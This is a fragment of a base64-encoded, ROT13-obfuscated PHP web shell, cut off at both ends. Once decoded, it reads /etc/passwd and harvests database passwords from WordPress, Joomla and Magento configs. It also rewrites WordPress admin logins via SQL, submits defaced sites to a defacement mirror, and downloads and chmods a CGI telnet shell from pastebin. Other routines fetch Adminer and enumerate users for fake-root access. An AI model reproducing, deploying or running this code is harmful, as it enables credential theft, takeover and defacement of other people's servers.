JcnB1YiAiPHNiYWcgcGJ5YmU9ZXJxPlBuYSdnIGVybnEgL3JncC9jbmZmanE8L3NiYWc+IjsNCgkJCX0gcnlmciB7DQoJCQkJY2VydF96bmdwdV9ueXkoIi8oLio/KTprOi8iLCAkdHJnaCwgJGgpOw0KCQkJCXNiZXJucHUoJGhbMV0gbmYgJGhmcmVfcGMpIHsNCgkJCQkJCXZzKHZmX3F2ZSgiL3VienIvJGhmcmVfcGMvY2hveXZwX3VnenkiKSkgew0KCQkJCQkJCXJwdWIgIiRoZnJlX3BjXGEiOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXJwdWIgIjwvZ3JrZ25lcm4+PG9lPg0KCQlDTkZGOiA8b2U+DQoJCTxncmtnbmVybiBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyB1cnZ0dWc6IDIwMGNrOycgYW56cj0nY25mZl9wYyc+IjsNCgkJc2hhcGd2YmEgcGNfY25mZigkcXZlKSB7DQoJCQkkY25mZiA9ICIiOw0KCQkJJHF2ZW4gPSBmcG5hcXZlKCRxdmUpOw0KCQkJc2Jlcm5wdSgkcXZlbiBuZiAkcXZlbykgew0KCQkJCXZzKCF2Zl9zdnlyKCIkcXZlLyRxdmVvIikpIHBiYWd2YWhyOw0KCQkJCSRuem92eSA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkcXZlLyRxdmVvIik7DQoJCQkJdnMoY2VydF96bmdwdSgiL0piZXFDZXJmZi8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksIlFPX0NORkZKQkVRJywgJyIsIiciKS4iXGEiOw0KCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9XUGJhc3Z0fHdiYnp5bi8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksImNuZmZqYmVxID0gJyIsIiciKS4iXGEiOw0KCQkJCX0gcnlmcnZzKGNlcnRfem5ncHUoIi9abnRyYWdifFpudHJfUGJlci8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksIjxjbmZmamJlcT48IVtQUU5HTlsiLCJdXT48L2NuZmZqYmVxPiIpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL2NuYXR0dnkgc2hhdGZ2IGlueXZxbmZ2IGtmZiBxbmEgdmF3cnBndmJhLyIsICRuem92eSkpIHsNCgkJCQkJJGNuZmYgLj0gbnpvdnl4bmduKCRuem92eSwnY25mZmpiZXEgPSAiJywnIicpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL1VHR0NfRlJFSVJFfFVHR0NfUE5HTllCVHxRVkVfUEJBU1ZUfFFWRV9GTEZHUlovIiwgJG56b3Z5KSkgew0KCQkJCQkkY25mZiAuPSBuem92eXhuZ24oJG56b3Z5LCInUU9fQ05GRkpCRVEnLCAnIiwiJyIpLiJcYSI7DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL3B5dnJhZy8iLCAkbnpvdnkpKSB7DQoJCQkJCWNlcnRfem5ncHUoIi9jbmZmamJlcT0oLiopLyIsICRuem92eSwgJGNuZmYxKTsNCgkJCQkJdnMoY2VydF96bmdwdSgnLyIvJywgJGNuZmYxWzFdKSkgew0KCQkJCQkJJGNuZmYxWzFdID0gZmdlX2VyY3lucHIoJyInLCAiIiwgJGNuZmYxWzFdKTsNCgkJCQkJCSRjbmZmIC49ICRjbmZmMVsxXS4iXGEiOw0KCQkJCQl9DQoJCQkJfSByeWZydnMoY2VydF96bmdwdSgiL3BwX3JhcGVsY2d2YmFfdW5mdS8iLCAkbnpvdnkpKSB7DQoJCQkJCSRjbmZmIC49IG56b3Z5eG5nbigkbnpvdnksInFvX2NuZmZqYmVxID0gJyIsIiciKS4iXGEiOw0KCQkJCX0NCgkJCX0NCgkJCXJwdWIgJGNuZmY7DQoJCX0NCgkJJHBjX2NuZmYgPSBwY19jbmZmKCRxdmUpOw0KCQlycHViICRwY19jbmZmOw0KCQlycHViICI8L2dya2duZXJuPjxvZT4NCgkJPHZhY2hnIGdsY3I9J2Zob3p2ZycgYW56cj0ncGVucHgnIGZnbHlyPSdqdnFndTogNDUwY2s7JyBpbnlocj0nVW53bmUnPg0KCQk8L3NiZXo+DQoJCTxmY25hPkFPOiBQQ25hcnkgUGVucHggdmF2IGZocW51IG5oZ2IgdHJnIGNuZmZqYmVxICggY254ciBxbyBjbmZmamJlcSApIHpueG4gbnhuYSBqYmV4IHd2eG4gcXZ3bnluYXhuYSBxdiBxbnlueiBzYnlxcmUgPGg+cGJhc3Z0PC9oPiAoIHJrOiAvdWJ6ci9oZnJlL2Nob3l2cF91Z3p5L2Fuem5fc2J5cXJlX3BiYXN2dCApPC9mY25hPjxvZT48L3ByYWdyZT4iOw0KCX0NCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdmemdjJykgew0KCXJwdWIgIjxwcmFncmU+PGZjbmE+QU86IEdiYnlmIHZhdiBqYmV4IHd2eG4gcXZ3bnluYXhuYSBxdiBxbnlueiBzYnlxcmUgPGg+cGJhc3Z0PC9oPiAoIHJrOiAvdWJ6ci9oZnJlL2Nob3l2cF91Z3p5L2Fuem5fc2J5cXJlX3BiYXN2dCApPC9mY25hPjwvcHJhZ3JlPjxvZT4iOw0KCXNoYXBndmJhIGZwdygkcXZlKSB7DQoJCSRxdmVuID0gZnBuYXF2ZSgkcXZlKTsNCgkJc2Jlcm5wdSgkcXZlbiBuZiAkcXZlbykgew0KCQkJdnMoIXZmX3N2eXIoIiRxdmUvJHF2ZW8iKSkgcGJhZ3ZhaHI7DQoJCQkkbnpvdnkgPSBzdnlyX3RyZ19wYmFncmFnZigiJHF2ZS8kcXZlbyIpOw0KCQkJJG56b3Z5ID0gZmdlX2VyY3lucHIoIiQiLCAiIiwgJG56b3Z5KTsNCgkJCXZzKGNlcnRfem5ncHUoIi9XUGJhc3Z0fHdiYnp5bi8iLCAkbnpvdnkpKSB7DQoJCQkJJGZ6Z2NfdWJmZyA9IG56b3Z5eG5nbigkbnpvdnksImZ6Z2N1YmZnID0gJyIsIiciKTsNCgkJCQkkZnpnY19uaGd1ID0gbnpvdnl4bmduKCRuem92eSwiZnpnY25oZ3UgPSAnIiwiJyIpOw0KCQkJCSRmemdjX2hmcmUgPSBuem92eXhuZ24oJG56b3Z5LCJmemdjaGZyZSA9ICciLCInIik7DQoJCQkJJGZ6Z2NfY25mZiA9IG56b3Z5eG5nbigkbnpvdnksImZ6Z2NjbmZmID0gJyIsIiciKTsNCgkJCQkkZnpnY19jYmVnID0gbnpvdnl4bmduKCRuem92eSwiZnpnY2NiZWcgPSAnIiwiJyIpOw0KCQkJCSRmemdjX2ZycGhlciA9IG56b3Z5eG5nbigkbnpvdnksImZ6Z2NmcnBoZXIgPSAnIiwiJyIpOw0KCQkJCXJwdWIgIkZaR0MgVWJmZzogPHNiYWcgcGJ5YmU9eXZ6cj4kZnpnY191YmZnPC9zYmFnPjxvZT4iOw0KCQkJCXJwdWIgIkZaR0MgY2JlZzogPHNiYWcgcGJ5YmU9eXZ6cj4kZnpnY19jYmVnPC9zYmFnPjxvZT4iOw0KCQkJCXJwdWIgIkZaR0MgaGZyZTogPHNiYWcgcGJ5YmU9eXZ6cj4kZnpnY19oZnJlPC9zYmFnPjxvZT4iOw0KCQkJCXJwdWIgIkZaR0MgY25mZjogPHNiYWcgcGJ5YmU9eXZ6cj4kZnpnY19jbmZmPC9zYmFnPjxvZT4iOw0KCQkJCXJwdWIgIkZaR0MgbmhndTogPHNiYWcgcGJ5YmU9eXZ6cj4kZnpnY19uaGd1PC9zYmFnPjxvZT4iOw0KCQkJCXJwdWIgIkZaR0MgZnJwaGVyOiA8c2JhZyBwYnliZT15dnpyPiRmemdjX2ZycGhlcjwvc2JhZz48b2U+PG9lPiI7DQoJCQl9DQoJCX0NCgl9DQoJJGZ6Y2dfdWhhZ3JlID0gZnB3KCRxdmUpOw0KCXJwdWIgJGZ6Y2dfdWhhZ3JlOw0KfSByeWZydnMoJF9UUkdbJ3FiJ10gPT0gJ25oZ2JfamMnKSB7DQoJdnMoJF9DQkZHWyd1bnduZSddKSB7DQoJCSRndmd5ciA9IHVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydhcmpfZ3ZneXInXSk7DQoJCSRjYV9ndmd5ciA9IGZnZV9lcmN5bnByKCIgIiwgIi0iLCAkZ3ZneXIpOw0KCQl2cygkX0NCRkdbJ3ByeF9ycXZnJ10gPT0gIkwiKSB7DQoJCQkkZnBldmNnID0gJF9DQkZHWydycXZnX3BiYWdyYWcnXTsNCgkJfSByeWZyIHsNCgkJCSRmcGV2Y2cgPSAkZ3ZneXI7DQoJCX0NCgkJJHBiYXMgPSAkX0NCRkdbJ3BiYXN2dF9xdmUnXTsNCgkJJGZwbmFfcGJhcyA9IGZwbmFxdmUoJHBiYXMpOw0KCQlzYmVybnB1KCRmcG5hX3BiYXMgbmYgJHN2eXJfcGJhcykgew0KCQkJdnMoIXZmX3N2eXIoIiRwYmFzLyRzdnlyX3BiYXMiKSkgcGJhZ3ZhaHI7DQoJCQkkcGJhc3Z0ID0gc3Z5cl90cmdfcGJhZ3JhZ2YoIiRwYmFzLyRzdnlyX3BiYXMiKTsNCgkJCXZzKGNlcnRfem5ncHUoIi9KYmVxQ2VyZmYvIiwgJHBiYXN2dCkpIHsNCgkJCQkkcW91YmZnID0gbnpvdnl4bmduKCRwYmFzdnQsIlFPX1VCRkcnLCAnIiwiJyIpOw0KCQkJCSRxb2hmcmUgPSBuem92eXhuZ24oJHBiYXN2dCwiUU9fSEZSRScsICciLCInIik7DQoJCQkJJHFvY25mZiA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19DTkZGSkJFUScsICciLCInIik7DQoJCQkJJHFvYW56ciA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19BTlpSJywgJyIsIiciKTsNCgkJCQkkcW9jZXJzdmsgPSBuem92eXhuZ24oJHBiYXN2dCwiZ25veXJfY2Vyc3ZrICA9ICciLCInIik7DQoJCQkJJGNlcnN2ayA9ICRxb2NlcnN2ay4iY2JmZ2YiOw0KCQkJCSRiY2d2YmEgPSAkcW9jZXJzdmsuImJjZ3ZiYWYiOw0KCQkJCSRwYmFhID0gemxmZHlfcGJhYXJwZygkcW91YmZnLCRxb2hmcmUsJHFvY25mZik7DQoJCQkJJHFvID0gemxmZHlfZnJ5cnBnX3FvKCRxb2FuenIpOw0KCQkJCSRkID0gemxmZHlfZGhyZWwoIkZSWVJQRyAqIFNFQlogJGNlcnN2ayBCRVFSRSBPTCBWUSBORlAiKTsNCgkJCQkkZXJmaHlnID0gemxmZHlfc3JncHVfbmVlbmwoJGQpOw0KCQkJCSR2cSA9ICRlcmZoeWdbVlFdOw0KCQkJCSRkMiA9IHpsZmR5X2RocmVsKCJGUllSUEcgKiBTRUJaICRiY2d2YmEgQkVRUkUgT0wgYmNndmJhX3ZxIE5GUCIpOw0KCQkJCSRlcmZoeWcyID0gemxmZHlfc3JncHVfbmVlbmwoJGQyKTsNCgkJCQkkZ25ldHJnID0gJGVyZmh5ZzJbYmNndmJhX2lueWhyXTsNCgkJCQkkaGNxbmdyID0gemxmZHlfZGhyZWwoIkhDUU5HUiAkY2Vyc3ZrIEZSRyBjYmZnX2d2Z3lyPSckZ3ZneXInLGNiZmdfcGJhZ3JhZz0nJGZwZXZjZycsY2JmZ19hbnpyPSckY2FfZ3ZneXInLGNiZmdfZmduZ2hmPSdjaG95dmZ1JyxwYnp6cmFnX2ZnbmdoZj0nYmNyYScsY3ZhdF9mZ25naGY9J2JjcmEnLGNiZmdfZ2xjcj0nY2JmZycscGJ6enJhZ19wYmhhZz0nMScgSlVSRVIgdnE9JyR2cSciKTsNCgkJCQkkaGNxbmdyIC49IHpsZmR5X2RocmVsKCJIQ1FOR1IgJGJjZ3ZiYSBGUkcgYmNndmJhX2lueWhyPSckZ3ZneXInIEpVUkVSIGJjZ3ZiYV9hbnpyPSdveWJ0YW56cicgQkUgYmNndmJhX2FuenI9J295YnRxcmZwZXZjZ3ZiYSciKTsNCgkJCQlycHViICI8cXZpIGZnbHlyPSd6bmV0dmE6IDVjayBuaGdiOyc+IjsNCgkJCQl2cygkZ25ldHJnID09ICcnKSB7DQoJCQkJCXJwdWIgIkhFWTogPHNiYWcgcGJ5YmU9ZXJxPnJlZWJlLCB0bm92Zm4gbnpvdnkgYW56biBxYnpudmEgYWxuPC9zYmFnPiAtPiAiOw0KCQkJCX0gcnlmciB7DQoJCQkJCXJwdWIgIkhFWTogPG4gdWVycz0nJGduZXRyZy8/Yz0kdnEnIGduZXRyZz0nX295bmF4Jz4kZ25ldHJnLz9jPSR2cTwvbj4gLT4gIjsNCgkJCQl9DQoJCQkJdnMoISRoY3FuZ3IgQkUgISRwYmFhIEJFICEkcW8pIHsNCgkJCQkJcnB1YiAiPHNiYWcgcGJ5YmU9ZXJxPlpsRkRZIFJlZWJlOiAiLnpsZmR5X3JlZWJlKCkuIjwvc2JhZz48b2U+IjsNCgkJCQl9IHJ5ZnIgew0KCQkJCQlycHViICI8c2JhZyBwYnliZT15dnpyPmZoeGZyZiBxdiB0bmFndi48L3NiYWc+PG9lPiI7DQoJCQkJfQ0KCQkJCXJwdWIgIjwvcXZpPiI7DQoJCQkJemxmZHlfcHliZnIoJHBiYWEpOw0KCQkJfQ0KCQl9DQoJfSByeWZyIHsNCgkJcnB1YiAiPHByYWdyZT4NCgkJPHUxPk5oZ2IgUnF2ZyBHdmd5citQYmFncmFnIEpiZXFDZXJmZjwvdTE+DQoJCTxzYmV6IHpyZ3VicT0nY2JmZyc+DQoJCVFWRSBQYmFzdnQ6IDxvZT4NCgkJPHZhY2hnIGdsY3I9J2dya2cnIGZ2bXI9JzUwJyBhbnpyPSdwYmFzdnRfcXZlJyBpbnlocj0nJHF2ZSc+PG9lPjxvZT4NCgkJRnJnIEd2Z3lyOiA8b2U+DQoJCTx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdhcmpfZ3ZneXInIGlueWhyPSdVbnB4cnEgT2wgS00tRnJwJyBjeW5wcnVieXFyZT0nQXJqIEd2Z3lyJz48b2U+PG9lPg0KCQlScXZnIFBiYWdyYWc/OiA8dmFjaGcgZ2xjcj0nZW5xdmInIGFuenI9J3ByeF9ycXZnJyBpbnlocj0nTCcgcHVycHhycT5MPHZhY2hnIGdsY3I9J2VucXZiJyBhbnpyPSdwcnhfcnF2ZycgaW55aHI9J0EnPkE8b2U+DQoJCTxmY25hPld2eG4gY3Z5dnUgPGg+TDwvaD4gem5maHh2YSBmcGV2Y2cgcXJzbnByemggKCBmbmVuYSBsbmF0IGZ2emN5ciBud24gKSwgeG55YiBjdnl2dSA8aD5BPC9oPiB0bmhmbnUgcXYgdmZ2LjwvZmNuYT48b2U+DQoJCTxncmtnbmVybiBhbnpyPSdycXZnX3BiYWdyYWcnIGN5bnBydWJ5cXJlPSdwYmFnYnUgZnBldmNnOiB1Z2djOi8vY25mZ3JvdmEucGJ6L1JjQzY3MXRYJyBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyB1cnZ0dWc6IDE1MGNrOyc+PC9ncmtnbmVybj48b2U+DQoJCTx2YWNoZyBnbGNyPSdmaG96dmcnIGFuenI9J3Vud25lJyBpbnlocj0nVW53bmUhJyBmZ2x5cj0nanZxZ3U6IDQ1MGNrOyc+PG9lPg0KCQk8L3NiZXo+DQoJCTxmY25hPkFPOiBHYmJ5ZiB2YXYgamJleCB3dnhuIHF2d255bmF4bmEgcXYgcW55bnogc2J5cXJlIDxoPnBiYXN2dDwvaD4gKCByazogL3VienIvaGZyZS9jaG95dnBfdWd6eS9hbnpuX3NieXFyZV9wYmFzdnQgKTwvZmNuYT48b2U+DQoJCSI7DQoJfQ0KfSByeWZydnMoJF9UUkdbJ3FiJ10gPT0gJ21iYXJ1Jykgew0KCXZzKCRfQ0JGR1snZmhvenZnJ10pIHsNCgkJJHFiem52YSA9IHJrY3licXIoIlxlXGEiLCAkX0NCRkdbJ2hleSddKTsNCgkJJGF2cHggPSAgJF9DQkZHWydhdnB4J107DQoJCXJwdWIgIlFyc25wcmUgQmF1YnlxOiA8biB1ZXJzPSd1Z2djOi8vampqLm1iYXItdS5iZXQvbmVwdXZpci9hYmd2c3ZyZT0kYXZweC9jaG95dmZ1cnE9MCcgZ25ldHJnPSdfb3luYXgnPnVnZ2M6Ly9qamoubWJhci11LmJldC9uZXB1dmlyL2FiZ3ZzdnJlPSRhdnB4L2Nob3l2ZnVycT0wPC9uPjxvZT4iOw0KCQlycHViICJRcnNucHJlIE5lcHV2aXI6IDxuIHVlcnM9J3VnZ2M6Ly9qamoubWJhci11LmJldC9uZXB1dmlyL2FiZ3ZzdnJlPSRhdnB4JyBnbmV0cmc9J19veW5heCc+dWdnYzovL2pqai5tYmFyLXUuYmV0L25lcHV2aXIvYWJndnN2cmU9JGF2cHg8L24+PG9lPjxvZT4iOw0KCQlzaGFwZ3ZiYSBtYmFydSgkaGV5LCRhdnB4KSB7DQoJCQkkcHUgPSBwaGV5X3ZhdmcoInVnZ2M6Ly9qamoubWJhci11LnBiei9hYmd2c2wvZnZhdHlyIik7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIGdlaHIpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0NCRkcsIGdlaHIpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0NCRkdTVlJZUUYsICJxcnNucHJlPSRhdnB4JnFiem52YTE9JGhleSZ1bnB4emJxcj0xJmVybmZiYT0xJmZob3p2Zz1GcmFxIik7DQoJCQllcmdoZWEgcGhleV9ya3JwKCRwdSk7DQoJCQkJICBwaGV5X3B5YmZyKCRwdSk7DQoJCX0NCgkJc2Jlcm5wdSgkcWJ6bnZhIG5mICRoZXkpIHsNCgkJCSRtYmFydSA9IG1iYXJ1KCRoZXksJGF2cHgpOw0KCQkJdnMoY2VydF96bmdwdSgiL3BieWJlPVwiZXJxXCI+Qlg8XC9zYmFnPjxcL3l2Pi92IiwgJG1iYXJ1KSkgew0KCQkJCXJwdWIgIiRoZXkgLT4gPHNiYWcgcGJ5YmU9eXZ6cj5CWDwvc2JhZz48b2U+IjsNCgkJCX0gcnlmciB7DQoJCQkJcnB1YiAiJGhleSAtPiA8c2JhZyBwYnliZT1lcnE+UkVFQkU8L3NiYWc+PG9lPiI7DQoJCQl9DQoJCX0NCgl9IHJ5ZnIgew0KCQlycHViICI8cHJhZ3JlPjxzYmV6IHpyZ3VicT0nY2JmZyc+DQoJCTxoPlFyc25wcmU8L2g+OiA8b2U+DQoJCTx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdhdnB4JyBmdm1yPSc1MCcgaW55aHI9J0tNLUZycCc+PG9lPg0KCQk8aD5RYnpudmFmPC9oPjogPG9lPg0KCQk8Z3JrZ25lcm4gZmdseXI9J2p2cWd1OiA0NTBjazsgdXJ2dHVnOiAxNTBjazsnIGFuenI9J2hleSc+PC9ncmtnbmVybj48b2U+DQoJCTx2YWNoZyBnbGNyPSdmaG96dmcnIGFuenI9J2Zob3p2ZycgaW55aHI9J0Zob3p2ZycgZmdseXI9J2p2cWd1OiA0NTBjazsnPg0KCQk8L3NiZXo+IjsNCgl9DQoJcnB1YiAiPC9wcmFncmU+IjsNCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdwdHYnKSB7DQoJJHB0dl9xdmUgPSB6eHF2ZSgndnFrX3B0dicsIDA3NTUpOw0KCSRzdnlyX3B0diA9ICJ2cWtfcHR2L3B0di52bWIiOw0KCSR2ZnZfdWdwdHYgPSAiTnFxVW5hcXlyZSBwdHYtZnBldmNnIC52bWIiOw0KCSR1Z3B0diA9IHNiY3JhKCIudWducHByZmYiLCAiaiIpOw0KCSRwdHZfZnBldmNnID0gc3Z5cl90cmdfcGJhZ3JhZ2YoInVnZ2M6Ly9jbmZncm92YS5wYnovZW5qLmN1Yz92PUtHSFNzV1l0Iik7DQoJJHB0diA9IHNiY3JhKCRzdnlyX3B0diwgImoiKTsNCglzamV2Z3IoJHB0diwgJHB0dl9mcGV2Y2cpOw0KCXNqZXZncigkdWdwdHYsICR2ZnZfdWdwdHYpOw0KCXB1emJxKCRzdnlyX3B0diwgMDc1NSk7DQoJcnB1YiAiPHZzZW56ciBmZXA9J3Zxa19wdHYvcHR2LnZtYicganZxZ3U9JzEwMCUnIHVydnR1Zz0nMTAwJScgc2VuenJvYmVxcmU9JzAnIGZwZWJ5eXZhdD0nYWInPjwvdnNlbnpyPiI7DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnc254cl9lYmJnJykgew0KCWJvX2ZnbmVnKCk7DQoJc2hhcGd2YmEgZXJpcmVmcigkaGV5KSB7DQoJCSRwdSA9IHBoZXlfdmF2ZygidWdnYzovL3Fiem52YWYubGJodHJnZnZ0YW55LnBiei9xYnpudmFmLmN1YyIpOw0KCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEgKTsNCgkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0NCRkdTVlJZUUYsICAiZXJ6YmdyTnFxZXJmZj0kaGV5JnhyZz0iKTsNCgkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1VSTlFSRSwgMCk7DQoJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19DQkZHLCAxKTsNCgkJJGVyZmMgPSBwaGV5X3JrcnAoJHB1KTsNCgkJJGVyZmMgPSBmZ2VfZXJjeW5wcigiWyIsIiIsIGZnZV9lcmN5bnByKCJdIiwiIiwgZmdlX2VyY3lucHIoIlwiXCIiLCIiLCBmZ2VfZXJjeW5wcigiLCAsIiwiLCIsIGZnZV9lcmN5bnByKCJ7IiwiIiwgZmdlX2VyY3lucHIoInsiLCIiLCBmZ2VfZXJjeW5wcigifSIsIiIsIGZnZV9lcmN5bnByKCIsICIsIiwiLCBmZ2VfZXJjeW5wcigiLCAiLCIsIiwgIGZnZV9lcmN5bnByKCInIiwiIiwgZmdlX2VyY3lucHIoIiciLCIiLCBmZ2VfZXJjeW5wcigiOiIsIiwiLCBmZ2VfZXJjeW5wcignIicsJycsICRlcmZjICkgKSApICkgKSApICkgKSApICkpKSk7DQoJCSRuZWVubCA9IHJrY3licXIoIiwsIiwgJGVyZmMpOw0KCQloYWZyZygkbmVlbmxbMF0pOw0KCQlzYmVybnB1KCRuZWVubCBuZiAkeWF4KSB7DQoJCQkkeWF4ID0gInVnZ2M6Ly8keWF4IjsNCgkJCSR5YXggPSBmZ2VfZXJjeW5wcigiLCIsICIiLCAkeWF4KTsNCgkJCXJwdWIgJHlheC4iXGEiOw0KCQkJYm9fc3loZnUoKTsNCgkJCXN5aGZ1KCk7DQoJCX0NCgkJCSAgcGhleV9weWJmcigkcHUpOw0KCX0NCglzaGFwZ3ZiYSBwcngoJGhleSkgew0KCQkkcHUgPSBwaGV5X3ZhdmcoJGhleSk7DQoJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUkdIRUFHRU5BRlNSRSwgMSApOw0KCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIGdlaHIpOw0KCQkkZXJmYyA9IHBoZXlfcmtycCgkcHUpOw0KCQllcmdoZWEgJGVyZmM7DQoJfQ0KCSRwanEgPSB0cmdwanEoKTsNCgkkbnpvdnlfaGZyZSA9IHJrY3licXIoIi8iLCAkcGpxKTsNCgkkaGZyZSA9ICRuem92eV9oZnJlWzJdOw0KCXZzKCRfQ0JGR1snZXJpcmVmciddKSB7DQoJCSRmdmdyID0gcmtjeWJxcigiXGVcYSIsICRfQ0JGR1snaGV5J10pOw0KCQkkc3Z5ciA9ICRfQ0JGR1snc3Z5ciddOw0KCQlzYmVybnB1KCRmdmdyIG5mICRoZXkpIHsNCgkJCSRwcnggPSBwcngoIiRoZXkvfiRoZnJlLyRzdnlyIik7DQoJCQl2cyhjZXJ0X3puZ3B1KCIvdW5weHJxL3YiLCAkcHJ4KSkgew0KCQkJCXJwdWIgIkhFWTogPG4gdWVycz0nJGhleS9+JGhmcmUvJHN2eXInIGduZXRyZz0nX295bmF4Jz4kaGV5L34kaGZyZS8kc3Z5cjwvbj4gLT4gPHNiYWcgcGJ5YmU9eXZ6cj5TbnhyIEViYmchPC9zYmFnPjxvZT4iOw0KCQkJfQ0KCQl9DQoJfSByeWZyIHsNCgkJcnB1YiAiPHByYWdyZT48c2JleiB6cmd1YnE9J2NiZmcnPg0KCQlTdnlyYW56cjogPG9lPjx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdzdnlyJyBpbnlocj0ncXJzbnByLnVnenknIGZ2bXI9JzUwJyB1cnZ0dWc9JzEwJz48b2U+DQoJCUhmcmU6IDxvZT48dmFjaGcgZ2xjcj0nZ3JrZycgaW55aHI9JyRoZnJlJyBmdm1yPSc1MCcgdXJ2dHVnPScxMCcgZXJucWJheWw+PG9lPg0KCQlRYnpudmE6IDxvZT4NCgkJPGdya2duZXJuIGZnbHlyPSdqdnFndTogNDUwY2s7IHVydnR1ZzogMjUwY2s7JyBhbnpyPSdoZXknPiI7DQoJCWVyaXJlZnIoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKTsNCgkJcnB1YiAiPC9ncmtnbmVybj48b2U+DQoJCTx2YWNoZyBnbGNyPSdmaG96dmcnIGFuenI9J2VyaXJlZnInIGlueWhyPSdGcG5hIFNueHIgRWJiZyEnIGZnbHlyPSdqdnFndTogNDUwY2s7Jz4NCgkJPC9zYmV6PjxvZT4NCgkJQU86IEZyb3J5aHogdGhhbnZhIEdiYnlmIHZhdiAsIGhjeWJucSBxaHloIHN2eXIgcXJzbnByIHhueXZuYSBxdiBxdmUgL3VienIvaGZyZS8gcW5hIC91YnpyL2hmcmUvY2hveXZwX3VnenkuPC9wcmFncmU+IjsNCgl9DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnbnF6dmFyZScpIHsNCgkkc2h5eSA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWydRQlBIWlJBR19FQkJHJ10sICIiLCAkcXZlKTsNCglzaGFwZ3ZiYSBucXp2YXJlKCRoZXksICR2ZnYpIHsNCgkJJHNjID0gc2JjcmEoJHZmdiwgImoiKTsNCgkJJHB1ID0gcGhleV92YXZnKCk7DQoJCSAJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEVZLCAkaGV5KTsNCgkJIAkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19PVkFORUxHRU5BRlNSRSwgZ2Vocik7DQoJCSAJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIGdlaHIpOw0KCQkgCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLCBzbnlmcik7DQoJCSAgIAkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19TVllSLCAkc2MpOw0KCQllcmdoZWEgcGhleV9ya3JwKCRwdSk7DQoJCSAgIAkgIHBoZXlfcHliZnIoJHB1KTsNCgkJc3B5YmZyKCRzYyk7DQoJCWJvX3N5aGZ1KCk7DQoJCXN5aGZ1KCk7DQoJfQ0KCXZzKHN2eXJfcmt2ZmdmKCducXp2YXJlLmN1YycpKSB7DQoJCXJwdWIgIjxwcmFncmU+PHNiYWcgcGJ5YmU9eXZ6cj48biB1ZXJzPSckc2h5eS9ucXp2YXJlLmN1YycgZ25ldHJnPSdfb3luYXgnPi0+IG5xenZhcmUgeWJ0dmEgPC08L24+PC9zYmFnPjwvcHJhZ3JlPiI7DQoJfSByeWZyIHsNCgkJdnMobnF6dmFyZSgidWdnY2Y6Ly9qamoubnF6dmFyZS5iZXQvZmduZ3ZwL3FiamF5Ym5xLzQuMi40L25xenZhcmUtNC4yLjQuY3VjIiwibnF6dmFyZS5jdWMiKSkgew0KCQkJcnB1YiAiPHByYWdyZT48c2JhZyBwYnliZT15dnpyPjxuIHVlcnM9JyRzaHl5L25xenZhcmUuY3VjJyBnbmV0cmc9J19veW5heCc+LT4gbnF6dmFyZSB5YnR2YSA8LTwvbj48L3NiYWc+PC9wcmFncmU+IjsNCgkJfSByeWZyIHsNCgkJCXJwdWIgIjxwcmFncmU+PHNiYWcgcGJ5YmU9ZXJxPnRudG55IG9obmcgc3Z5ciBucXp2YXJlPC9zYmFnPjwvcHJhZ3JlPiI7DQoJCX0NCgl9DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnbmhnYl9xamMnKSB7DQoJdnMoJF9DQkZHWyduaGdiX3Fyc25wcl9qYyddKSB7DQoJCXNoYXBndmJhIG5haHBoZXkoJGZ2Z3JmKSB7DQogICAgCQkkcHUgPSBwaGV5X3ZhdmcoJGZ2Z3JmKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUkdIRUFHRU5BRlNSRSwgMSk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOw0KCSAgICAgICAJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hGUkVOVFJBRywgIlpibXZ5eW4vNS4wIChKdmFxYmpmIEFHIDYuMTsgZWk6MzIuMCkgVHJweGIvMjAxMDAxM